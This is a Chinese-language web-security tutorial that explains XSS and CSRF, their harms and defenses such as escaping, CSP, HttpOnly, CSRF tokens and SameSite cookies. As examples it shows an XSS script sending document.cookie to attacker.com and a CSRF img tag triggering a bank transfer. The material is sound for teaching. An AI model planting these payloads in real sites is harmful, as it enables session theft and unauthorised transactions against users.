Web安全之XSS与CSRF

117 阅读4分钟

XSS(跨站脚本攻击,Cross-Site Scripting)

🔹 原理

  • 攻击者把恶意 脚本代码 注入到网页里。
  • 当其他用户访问该网页时,脚本会在他们的浏览器里执行。
  • 因为脚本运行在“受害者的浏览器”里,所以能直接拿到敏感数据,比如 Cookie、localStorage、DOM 内容

🔹 举例

  1. 网站的评论区没有过滤用户输入。
  2. 攻击者评论了一段恶意代码:
<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie)
</script>
  1. 其他用户一旦打开评论区,这段代码就执行,把他们的 Cookie 发送到攻击者服务器。

🔹 危害

  • 窃取用户 Cookie(导致会话劫持、盗号)。
  • 伪造页面,引导用户输入账号密码(钓鱼)。
  • 在用户浏览器中执行恶意操作(比如代替用户转账)。

🔹 防御

  • 前端/服务端过滤和转义输入(例如把 < 转义成 &lt;)。
  • 使用 CSP(Content Security Policy) 限制能执行的脚本来源。
  • Cookie 设置 HttpOnly(这样 JS 无法读取 Cookie)。

CSRF(跨站请求伪造,Cross-Site Request Forgery)

🔹 原理

  • 攻击者诱导用户,在 已登录目标网站 的情况下,去触发恶意请求。
  • 由于浏览器会自动附带 Cookie,目标网站就会认为这是“合法用户操作”。

🔹 举例

  1. 你已经登录了银行网站 bank.com,浏览器里有合法的 sessionid=abc123 Cookie。
  2. 攻击者在另一个网站放了一个图片:
<img src="http://bank.com/transfer?to=attacker&amount=10000">
  1. 当你访问攻击者网站时,浏览器会自动带上 Cookie,向银行发起请求。
  2. 银行后端看到 Cookie 是合法的,就以为这是你本人操作,完成了转账。

🔹 危害

  • 用户在不知情的情况下,执行了敏感操作:转账、改密码、删数据……
  • 特别依赖 Cookie 自动附带 机制的旧系统最容易中招。

🔹 防御

  • CSRF Token:表单里加一个随机 Token,攻击者网站无法伪造。
  • SameSite Cookie 属性:阻止第三方请求时携带 Cookie。
    • Set-Cookie: sessionid=abc123; SameSite=Strict
  • 关键操作加二次验证(短信/验证码)。

为什么用户会访问攻击者网站?

攻击者不会告诉你“嘿,点我,我要偷你钱”,而是用各种方式诱导你:

  • 在一个热门网站的广告位,放一个看似正常的图片或链接。
  • 给你发一封钓鱼邮件,里面嵌入 <img><a>
  • 在社交平台上发一个短链,点开就是攻击页面。

你点进去之后,页面 自动加载了攻击者写的 HTML,而里面的 <img><form> 就会向银行发请求。

👉 关键点:CSRF 不需要你主动在银行网站上操作,它利用的是你“已经登录过银行,浏览器里还保存着 Cookie”这一事实。


“Cookie 不允许跨域”是真的吗?

这是很多同学常见的误区,需要区分两种情况:

(1) 跨域访问限制(Same-Origin Policy)
  • 是指 前端脚本(JS) 无法随意访问别的域名的响应数据。
  • 例如:在 evil.com 页面里写 fetch("http://bank.com/account"),是会被浏览器拦截的(除非 CORS 允许)。
(2) HTTP 请求携带 Cookie
  • 只要你访问的是 bank.com 域名(哪怕请求是从别的网页触发的),浏览器都会自动带上属于 bank.com 的 Cookie。
  • 因为 Cookie 的“作用域”是域名,不是页面来源。

也就是说:

  • 你在 evil.com 页面里写:
<img src="http://bank.com/transfer?to=attacker&amount=10000">

浏览器就会向 bank.com 发送请求。

  • 虽然 **evil.com** 自己拿不到响应结果(被 SOP 限制),但请求本身已经带上了 bank.com 的 Cookie。
  • 银行服务器看到合法的 sessionid,就以为真的是你本人操作。

👉 所以,CSRF 并不是“跨域获取数据”,而是“跨站发请求时 Cookie 被自动带上”。


一个直观比喻

  • 你在银行(bank.com)办业务,银行给了你一张会员卡(Cookie,表示你已登录)。
  • 然后你去别的商场(evil.com),商场的人偷偷拿你的会员卡帮你在银行窗口排了个转账业务单。
  • 银行柜台只看会员卡(Cookie),不管人是不是你本人,就执行了。

那么,如何防御?

正因为 Cookie 会自动带上,CSRF 防御就围绕“确认发请求的真的是你本人操作”展开:

  1. CSRF Token:表单里带随机数,攻击者无法伪造。
  2. SameSite Cookie:禁止第三方请求时附带 Cookie。
    • SameSite=Strict:最安全,必须用户主动在本站点击才带 Cookie。
    • SameSite=Lax:GET 请求可以带,POST/敏感操作不带。
  3. 双重验证:转账再输一次密码或短信验证码。

小结

  • CSRF 成立的前提是:浏览器会 自动附带 Cookie 到相应域名,哪怕请求不是从该网站发起的页面,而是第三方页面触发的。
  • 跨域限制(SOP/CORS)是防 JS 窃取数据,不是防浏览器发请求。
  • 攻击者利用的就是:“你登录过,浏览器记住了登录态”

本质区别

XSSCSRF
攻击点在浏览器里执行恶意代码在服务器端利用自动附带 Cookie
依赖点用户输入没过滤,能注入脚本用户已经登录目标网站,且 Cookie 会自动带上
窃取目标用户数据(Cookie、localStorage、DOM)用户的身份(合法 Cookie)
防御重点输入输出过滤,限制脚本执行阻止第三方滥用 Cookie(Token、SameSite)